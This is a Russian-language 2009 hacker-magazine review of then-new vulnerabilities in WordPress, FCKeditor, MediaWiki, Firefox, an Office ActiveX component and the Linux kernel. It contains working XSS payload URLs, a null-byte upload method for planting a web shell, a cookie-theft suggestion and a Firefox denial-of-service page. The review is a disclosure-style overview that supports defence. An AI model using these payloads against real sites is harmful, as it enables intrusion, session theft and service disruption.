Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 128, АВГУСТ 2009 г.

Обзор эксплоитов

Маг (icq 884888, http://wap-chat.ru)

Жаркий август прямо-таки плавит уставшие мозги разработчиков. Хакеры же, наоборот, прилагают все больше и больше усилий для поиска знаменательных уязвимостей в самых различных приложениях. Вот и сегодняшний обзор порадует свежим урожаем багов в таких известнейших продуктах, как WordPress, MediaWiki, Mozilla Firefox, MS Internet Explorer вместе с компонентами MS Office, а также в целой куче web cms, в которых используется WYSIWYG-редактор FCKeditor.

Недостаточная проверка привилегий в WordPress

BRIEF

Поиск дыр в известнейшей блоговой платформе WordPress становится для многих уже не просто увлекательным занятием, но и самым настоящим хобби. Вот и на этот раз ребята из Core Security Technologies (http://www.coresecurity.com/corelabs) обнаружили, что движок некорректно проверяет права доступа у непривилегированных пользователей при просмотре (а также редактировании и сохранении) страниц конфигурации самых различных плагинов. Удаленный авторизованный пользователь может легко внедрить свой XSS-код в конфиги плагинов, а также просмотреть другую чувствительную информацию.

Редактирование опций плагинов обычно проходит через сценарий ./wp-admin/options-general.php?page=[plugin_page], в котором с проверкой привилегий все нормально. Но никто не отменял обращение напрямую к ./wp-admin/admin.php, который и отвечает за инклуд плагинов. Для понимания уязвимости рассмотрим код этого скрипта подробней:

//проверка того, что страница плагина находится в своей директории ./wp-content/plugins
if (isset($_GET['page'])) {
$plugin_page = stripslashes($_GET['page']);
$plugin_page = plugin_basename($plugin_page);
}
...
// Handle plugin admin pages.
if (isset($plugin_page)) {

if ( validate_file($plugin_page) ) {
wp_die(__('Invalid plugin page'));
}

if (! ( file_exists(WP_PLUGIN_DIR . "/$plugin_page") && is_file(WP_PLUGIN_DIR . "/$plugin_page") ) )
wp_die(sprintf(__('Cannot load %s.'), htmlentities($plugin_page)));

do_action('load-' . $plugin_page);

//собственно, инклуд страницы плагина
include(WP_PLUGIN_DIR . "/$plugin_page");
}
...

Как видно, валидацию проходят только физически расположенные на жестком диске файлы плагина. Никаких проверок на права доступа к ним нет и в помине.

EXPLOIT

В качестве примера авторы приводят следующие векторы использования:

1. Просмотр конфигурации плагина Collapsing Archives:

http://[some_wordpress_blog]/wp-admin/admin.php?page=/collapsing-archives/options.txt

2. Просмотр информации об антиспам плагине Akismet, идущем в дефолтном дистрибутиве вордпресса:

http://[some_wordpress_blog]/wp-admin/admin.php?page=akismet/readme.txt

3. XSS в плагине Related Ways To Take Action:

http://[some_wordpress_blog]/wp-admin/admin.php?page=related-ways-to-take-action/options.php

Для использования бага вставляем в поле «Exclude actions by term» код:

"/><script>alert(String.fromCharCode(88)+String.fromCharCode(83)+String.fromCharCode(83))</script><ahref="

4. Просмотр Dashboard плагина WP Security Scanner:

http://[some_wordpress_blog]/wp-admin/admin.php?page=wp-security-scan/securityscan.php

5. Реконфигурация плагина Intrusion Detection System:

http://[some_wordpress_blog]/wp-admin/index.php?page=wp-ids/ids-admin.php

Оригинальный текст advisory ищи по ссылке http://milw0rm.com/exploits/9110.

TARGETS

  • WordPress 2.8 и ниже
  • WordPress MU 2.7.1 и ниже

SOLUTION

Самым лучшим решением для устранения уязвимости будет обновление своего блога до последней версии, представленной на Wordpress.com (на данный момент – 2.8.1).

Загрузка произвольных файлов в FCKeditor

BRIEF

FCKeditor, наряду с TinyMCE, является одним из наиболее распространенных WYSIWYG-редакторов и используется в таких известных WEB-приложенияx, как Zope, PHPList, Falt4 CMS, RunCMS, Dokeos, Nuke ET.

Для этой уязвимости в сети присутствуют очень скудные описания, из которых понятно только то, что уязвим параметр «CurrentFolder» (например, http://www.securitylab.ru/vulnerability/382191.php и http://www.securityfocus.com/bid/31812). Так как такое положение дел меня вовсе не устраивало, пришлось самому покопаться в исходниках описываемого HTML based редактора.

Итак, качаем последний уязвимый релиз (http://dfn.dl.sourceforge.net/sourceforge/fckeditor/FCKeditor_2.6.4.zip) и открываем сценарий, ответственный за upload файлов во встроенном файлменеджере скрипта - ./editor/filemanager/connectors/php/upload.php:

<?php
...
$sCurrentFolder = GetCurrentFolder() ;

// Is enabled the upload?
if ( ! IsAllowedCommand( $sCommand ) )
SendUploadResults( '1', '', '', 'The ""' . $sCommand . '"" command isn't allowed' ) ;

// Check if it is an allowed type.
if ( !IsAllowedType( $sType ) )
SendUploadResults( 1, '', '', 'Invalid type specified' ) ;

FileUpload( $sType, $sCurrentFolder, $sCommand )
?>

Здесь нас интересует функция определения текущей директории - GetCurrentFolder(), найти которую мы сможем в сценарии ./editor/filemanager/connectors/php/io.php:

function GetCurrentFolder()
{
if (!isset($_GET)) {
global $_GET;
}
$sCurrentFolder = isset( $_GET['CurrentFolder'] ) ? $_GET['CurrentFolder'] : '/' ;

// Check the current folder syntax (must begin and start with a slash).
if ( !preg_match( '|/$|', $sCurrentFolder ) )
$sCurrentFolder .= '/' ;
if ( strpos( $sCurrentFolder, '/' ) !== 0 )
$sCurrentFolder = '/' . $sCurrentFolder ;

// Ensure the folder path has no double-slashes
while ( strpos ($sCurrentFolder, '//') !== false ) {
$sCurrentFolder = str_replace ('//', '/', $sCurrentFolder) ;
}

// Check for invalid folder paths (..)
if ( strpos( $sCurrentFolder, '..' ) || strpos( $sCurrentFolder, "\" ))
SendError( 102, '' ) ;

return $sCurrentFolder ;
}

А также функция, собственно, загрузки и сохранения файлов FileUpload() из ./editor/filemanager/connectors/php/commands.php:

function FileUpload( $resourceType, $currentFolder, $sCommand )
{
...
// Map the virtual path to the local server path.
$sServerDir = ServerMapFolder( $resourceType, $currentFolder, $sCommand ) ;

// Get the uploaded file name.
$sFileName = $oFile['name'] ;
$sFileName = SanitizeFileName( $sFileName ) ;
...
$sFilePath = $sServerDir . $sFileName ;
...
move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
...
}

Функция ServerMapFolder() просто возвращает полный folder path на сервере, исходя из переданного параметра $currentFolder. Как видно из функции GetCurrentFolder(), имя указываемой пользователем папки проверяется только на наличие уязвимости directory traversal, но никак не на банальный null-byte.

EXPLOIT

Для наглядного примера эксплуатации воспользуемся встроенным тестовым стендом FCKeditor для загрузки файлов - ./editor/filemanager/connectors/uploadtest.html.

Итак, в списке «Select the File Uploader to use» выбираем PHP (ну, или любой другой понравившийся тебе коннектор), далее в форме «Upload a new file» выбирай свой шелл, сохраненный с расширением .txt и, наконец, в поле «Current Folder» вбивай что-то вроде «my-evil-shell.php%00».
Теперь, после сабмита заполненной формы, скрипт с радостью покажет адрес твоего загруженного шелла в поле «Uploaded File URL» (в моем случае это ./userfiles/test.php).

Как видно из примера, $sFilePath для move_uploaded_file() становится равным имени директории ($sServerDir), настоящее же имя файла ($sFileName) просто-напросто отбрасывается нулл-байтом.

TARGETS

FCKeditor <=2.6.4, а также все web cms, в которых используется этот WYSIWYG-редактор.

SOLUTION

Как всегда, наилучшим решением для закрытия уязвимости будет установка последней версии скрипта с сайта производителя - http://www.fckeditor.net.

Межсайтовый скриптинг в MediaWiki

BRIEF

Да-да! В движке MediaWiki, который используется Великой и Ужасной Википедией и множеством других вики-сайтов, некий Amalthea 13 июля сего года нашел замечательную XSS-уязвимость.

Бага присутствует в файле ./includes/specials/SpecialBlockip.php и проявляется на странице site.com/index.php/Special:Block.
Итак, рассмотрим механизм действия подробнее:

<?php
...
class IPBlockForm {
...
function IPBlockForm( $par ) {
global $wgRequest, $wgUser, $wgBlockAllowsUTEdit;
//получаем значение wpBlockAddress из массива $_REQUEST
$this->BlockAddress = $wgRequest->getVal( 'wpBlockAddress', $wgRequest->getVal( 'ip', $par ) );
$this->BlockAddress = strtr( $this->BlockAddress, '_', ' ' );
...
}
...
//функция для отображения элементов html-страницы
function showForm( $err ) {
...
$user = User::newFromName( $this->BlockAddress );
...
//отображаем полученное значение wpBlockAddress в веб-форме
Xml::input( 'wpBlockAddress', 45, $this->BlockAddress,
array(
'tabindex' => '1',
'id' => 'mw-bi-target',
'onchange' => 'updateBlockOptions()' ) ). "
</td>
</tr>
<tr>"
);
...
}
...
?>

Переменная wpBlockAddress (а затем и $this->BlockAddress) нигде и никоим образом не фильтруется, так что нам остается лишь грамотно заюзать этот замечательный факт.

EXPLOIT

Использовать описанную уязвимость межсайтового скриптинга необычайно просто. Достаточно лишь скормить администратору или любому другому привилегированному участнику Вики-портала ссылку вида:

http://site.com/index.php/Special:Block/?wpBlockAddress="/><script>alert('Privet! Ya MegaXSS :)')</script><a href="

Если это будет XSS со ссылкой на твой снифер, то авторизационные кукисы администратора благополучно окажутся у тебя.

TARGETS

Уязвимы сразу две ветки MediaWiki:

  • MediaWiki <= 1.14.0
  • MediaWiki <= 1.15.0

SOLUTION

Как обычно, не забываем проверять наличие свежей версии движка на сайте производителя - mediawiki.org/wiki/Download.

Повреждение памяти в Mozilla Firefox

BRIEF

Чем популярней становится софт, тем большее количество энтузиастов находят в нем уязвимости. Печальным примером тому служит не так давно вышедший Firefox 3.5, где некий SBerry aka Simon Berry-Byrne нашел замечательную багу переполнения кучи, с помощью которой злоумышленник может выполнить произвольный код на целевой системе.

Проблема заключается в ошибке в Just-in-Time (JIT, компиляторе нового движка JavaScript для Огнелиса): при обработке JavaScript'ом некоторых тегов HTML (например, font) компилятор некорректно возвращает данные из собственных функций, таких как escape().

Кстати, тем же автором, но в соавторстве с Andrew Haynes была найдена и еще одно переполнение (теперь уже вызывающее Denial of Service) в свежем файрфоксе - Mozilla Firefox 3.5 Unicode Data Remote Stack Buffer Overflow Vulnerability. На этот раз бага заключается в некорректной обработке длинных unicode-последовательностей в методе write вышеозначенного движка JS.

EXPLOIT

Для первого переполнения автор предоставляет нам в пользование неплохой PoC (http://milw0rm.com/exploits/9137), запускающий на твоей машине приложение calc.exe, а для второго достаточно лишь накидать небольшой html-пример с использованием javascript:

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var str = unescape("%u4141%u4141");
var str2 = unescape("%u0000%u0000");
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str, 21000000);

document.write(finalstr2);
document.write(finalstr);

function mul8 (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

Не вызывающая подозрений функция write() должна, по идее, вывести на экран очень длинные последовательности unicode-символов. Но вместо этого Firefox зависнет и станет кушать очень-очень много памяти (так что на своей машине тестить сплойт крайне не рекомендую).

TARGETS

Firefox 3.5 и, возможно, более ранние версии

SOLUTION

За всеми security-апдейтами для Огнелиса обращайся по адресу mozilla.com/firefox.

Выполнение произвольного кода в Microsoft Office Web Components Spreadsheet ActiveX компоненте

BRIEF

Мелкомягкие с каждым днем все больше и больше нас радуют. На этот раз в поле зрения всей продвинутой IT-общественности попал сплойт под ослика IE, основанный на уязвимости в Microsoft Office Web Components Spreadsheet ActiveX. Сей славный ActiveX компонент используется браузером Internet Explorer для отображения электронных таблиц Excel.

Сама бага, собственно, заключается в ошибке при проверке границ данных в методе msDataSourceObject() в этом компоненте (OWC 10 и OWC11). При эксплуатации уязвимости (например, с помощью всем известного метода с iframe) злоумышленник легко может вызвать переполнение стека и выполнить произвольный код на целевой системе.

Иными словами, если ты используешь в качестве браузера IE, а также на твоем компьютере присутствует небезызвестный MS Office, то твоя система подвержена опасности.

EXPLOIT

Сразу три вариации эксплойта под описанную багу ты можешь найти по адресу http://www.securitylab.ru/vulnerability/382430.php.
Также для успешной эксплуатации уязвимости в твоем браузере должен быть разрешен ActiveX, в частности, объекты «OWC10.Spreadsheet» и «OWC11.Spreadsheet».

TARGETS

  • Microsoft Office XP Service Pack 3;
  • Microsoft Office 2003 Service Pack 3;
  • Microsoft Office XP Web Components Service Pack 3;
  • Microsoft Office Web Components 2003 Service Pack 3;
  • Microsoft Office 2003 Web Components for the 2007 Microsoft Office system Service Pack 1;
  • Microsoft Internet Security and Acceleration Server 2004 Standard Edition Service Pack 3;
  • Microsoft Internet Security and Acceleration Server 2004 Enterprise Edition Service Pack 3;
  • Microsoft Internet Security and Acceleration Server 2006;
  • Internet Security and Acceleration Server 2006 Supportability Update;
  • Microsoft Internet Security and Acceleration Server 2006 Service Pack 1;
  • Microsoft Office Small Business Accounting 2006.

SOLUTION

Как всегда, Microsoft не торопится исправлять свои грабли. В качестве временной меры для исправления уязвимости рекомендуется деактивировать следующие CLSID:

{0002E541-0000-0000-C000-000000000046}
{0002E559-0000-0000-C000-000000000046}

Повышение привилегий в ядре Linux

BRIEF

17 июля сего года известный эксперт по безопасности *Nix-систем, автор модуля grsecurity Brad Spengler опубликовал описание и PoC весьма необычного эксплойта под последние ядра Linux.

Необычным является то, что при анализе исходного кода ядра Linux эту багу практически невозможно обнаружить невооруженным глазом.
Итак, уязвимый код кроется в реализации net/tun из-за ошибки разыменования нулевого указателя в функции tun_chr_pool() файла drivers/net/tun.c:

struct sock *sk = tun->sk; // initialize sk with tun->sk
...
if (!tun)
return POLLERR; // if tun is NULL return error

Объясню, что здесь происходит: сначала инициализируется некая переменная sk и устанавливается в значение, которое может быть равно нулю. Затем значение переменной проверяется таким образом, что, если оно равно нулю, возвращается ошибка.

Вся соль в том, что бага проявится только после компиляции исходника, так как в процессе оптимизации этого кода компилятор увидит, что значение означенной переменной уже давно присвоено и просто вырежет блок с if(!tun).

Такое нехитрое злодеяние, проведенное компилятором, позволит нам прочитать и записать данные по адресу 0x00000000, который затем можно будет спокойно перенаправить в пространство пользователя.

EXPLOIT

Опубликованный Брэдом Спенглером эксплойт, а также все его комментарии к этой знаменательной баге на английском языке ты можешь скачать по адресу http://milw0rm.com/exploits/9191.

TARGETS

Linux kernel <= 2.6.30 (ядро должно быть собрано с опцией GCC -fdelete-null-pointer-checks)

SOLUTION

Для исправления этой и других уязвимостей ядра Линукса не забывай регулярно проверять GIT-репозиторий производителя: http://git.kernel.org.

Содержание
ttfb: 543.06101799011 ms